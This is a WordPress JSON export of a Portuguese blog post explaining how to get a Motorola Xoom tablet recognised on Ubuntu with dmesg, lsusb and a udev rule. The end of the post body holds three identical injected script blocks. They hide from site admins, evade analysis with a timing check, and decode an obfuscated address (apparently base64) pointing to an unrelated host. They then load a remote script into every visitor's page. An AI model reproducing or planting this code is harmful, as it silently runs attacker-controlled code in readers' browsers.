{"id":1456,"date":"2011-05-10T13:03:16","date_gmt":"2011-05-10T16:03:16","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1456"},"modified":"2025-10-26T22:40:12","modified_gmt":"2025-10-27T01:40:12","slug":"acessando-o-xoom-no-ubuntu","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/10\/acessando-o-xoom-no-ubuntu\/","title":{"rendered":"Acessando o Xoom no Ubuntu"},"content":{"rendered":"<p style=\"text-align: justify;\">Ao plugar o Motorola Xoom no Linux, voc\u00ea n\u00e3o ter\u00e1 acesso direto ao dispositivo. N\u00e3o h\u00e1 software (pelo menos eu n\u00e3o encontrei) da Motorola para o Xoom que tenha suporte ao Linux. Ent\u00e3o ap\u00f3s sofrer um pouco, testes e buscas em f\u00f3runs, conseguir fazer funcionar razoavelmente.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 verificar as informa\u00e7\u00f5es do dispositivo. Ligue o cabo o USB e digite: <em>dmesg<\/em> no console. Dever\u00e1 aparecer uma linha semelhante \u00e0 essa:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B; 8175.440025] usb 1-1: new high speed USB device using ehci_hcd and address 5\n<\/pre>\n<p style=\"text-align: justify;\">Isso significa que um dispositivo foi conectado no USB. Agora para recuperar as informa\u00e7\u00f5es do dispositivo, digite: <em>sudo lsusb -v<\/em> no console. Ir\u00e1 aparecer todas as informa\u00e7\u00f5es dos dispositivos USBs conectados. Procure pelo seguinte conte\u00fado.<\/p>\n<pre class=\"brush: plain; highlight: [1,10,11]; title: ; notranslate\" title=\"\">\nBus 001 Device 005: ID 18d1:70a8 Google Inc.\nDevice Descriptor:\n  bLength                18\n  bDescriptorType         1\n  bcdUSB               2.00\n  bDeviceClass            0 (Defined at Interface level)\n  bDeviceSubClass         0\n  bDeviceProtocol         0\n  bMaxPacketSize0        64\n  idVendor           0x18d1 Google Inc.\n  idProduct          0x70a8\n  bcdDevice           99.99\n  iManufacturer           1 Motorola\n  iProduct                2 MZ604\n  iSerial                 3 xxxxxxxxxx &lt;-- diferente para cada disp.\n  bNumConfigurations      1\n  Configuration Descriptor:\n    bLength                 9\n    bDescriptorType         2\n    wTotalLength           39\n    bNumInterfaces          1\n    bConfigurationValue     1\n    iConfiguration          0\n    bmAttributes         0xc0\n      Self Powered\n    MaxPower              500mA\n    Interface Descriptor:\n      bLength                 9\n      bDescriptorType         4\n      bInterfaceNumber        0\n      bAlternateSetting       0\n      bNumEndpoints           3\n      bInterfaceClass       255 Vendor Specific Class\n      bInterfaceSubClass    255 Vendor Specific Subclass\n      bInterfaceProtocol      0\n      iInterface              8 MTP\n      Endpoint Descriptor:\n        bLength                 7\n        bDescriptorType         5\n        bEndpointAddress     0x84  EP 4 IN\n        bmAttributes            2\n          Transfer Type            Bulk\n          Synch Type               None\n          Usage Type               Data\n        wMaxPacketSize     0x0200  1x 512 bytes\n        bInterval               0\n      Endpoint Descriptor:\n        bLength                 7\n        bDescriptorType         5\n        bEndpointAddress     0x05  EP 5 OUT\n        bmAttributes            2\n          Transfer Type            Bulk\n          Synch Type               None\n          Usage Type               Data\n        wMaxPacketSize     0x0200  1x 512 bytes\n        bInterval               0\n      Endpoint Descriptor:\n        bLength                 7\n        bDescriptorType         5\n        bEndpointAddress     0x85  EP 5 IN\n        bmAttributes            3\n          Transfer Type            Interrupt\n          Synch Type               None\n          Usage Type               Data\n        wMaxPacketSize     0x001c  1x 28 bytes\n        bInterval               6\nDevice Qualifier (for other device speed):\n  bLength                10\n  bDescriptorType         6\n  bcdUSB               2.00\n  bDeviceClass            0 (Defined at Interface level)\n  bDeviceSubClass         0\n  bDeviceProtocol         0\n  bMaxPacketSize0        64\n  bNumConfigurations      1\nDevice Status:     0x0001\n  Self Powered\n<\/pre>\n<p style=\"text-align: justify;\">A linha 1 tem a informa\u00e7\u00e3o resumida do que est\u00e1 descrito na linha 10 (Vendor) e 11 (Product). Com essas informa\u00e7\u00f5es d\u00e1 pra gente passar pro udev como criar nosso dispositvo. Para isso crie um arquivo: \/etc\/udev\/rules.d\/90-motorola-xoom.rules<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# Meu Motorola Xoom\nATTRS{idVendor}==&quot;18d1&quot;, ATTRS{idProduct}==&quot;70a8&quot;, ENV{ID_GPHOTO2}=&quot;1&quot;, ENV{GPHOTO2_DRIVER}=&quot;proprietary&quot;, ENV{ID_MEDIA_PLAYER}=&quot;1&quot;, ENV{ID_MTP_DEVICE}=&quot;1&quot;, MODE=&quot;0664&quot;, GROUP=&quot;audio&quot;\n<\/pre>\n<p style=\"text-align: justify;\">Alguns dispositivos possuem o idVendor e idProduct diferentes, portanto, execute o lsusb para verificar o valor desses atributos. Reinicie o udev com o comando: <em>sudo service udev restart<\/em><\/p>\n<p style=\"text-align: justify;\">Desconecte e conecte novamente o dispositivo. E pronto! Dispositivo reconhecido. Voc\u00ea pode transmitir arquivos para ele, mas para isso ser feito de forma correta, \u00e9 necess\u00e1rio aplicativos com o suporte ao <a title=\"MTP\" href=\"http:\/\/en.wikipedia.org\/wiki\/Media_Transfer_Protocol\" target=\"_blank\" rel=\"noopener\">protocolo MTP<\/a>. No Ubuntu existem v\u00e1rios: Nautilus, Rhythmbox, Bashee, ...<\/p>\n<p style=\"text-align: justify;\"><strong>Atualiza\u00e7\u00e3o 12\/08\/2011: <\/strong>Ap\u00f3s o update para vers\u00e3o 3.1 do Android o Xoom ficou com outro idVendor e idProduct: ID 22b8:70a9 Motorola PCS. Ent\u00e3o foi necess\u00e1rio alterar o script novamente.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ao plugar o Motorola Xoom no Linux, voc\u00ea n\u00e3o ter\u00e1 acesso direto ao dispositivo. N\u00e3o h\u00e1 software (pelo menos eu n\u00e3o encontrei) da Motorola para o Xoom que tenha suporte ao Linux. Ent\u00e3o ap\u00f3s sofrer um pouco, testes e buscas <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/10\/acessando-o-xoom-no-ubuntu\/\">Continue lendo  <span class=\"screen-reader-text\">  Acessando o Xoom no Ubuntu<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[84,64],"tags":[],"class_list":["post-1456","post","type-post","status-publish","format-standard","hentry","category-android","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1456"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1456\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1456"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}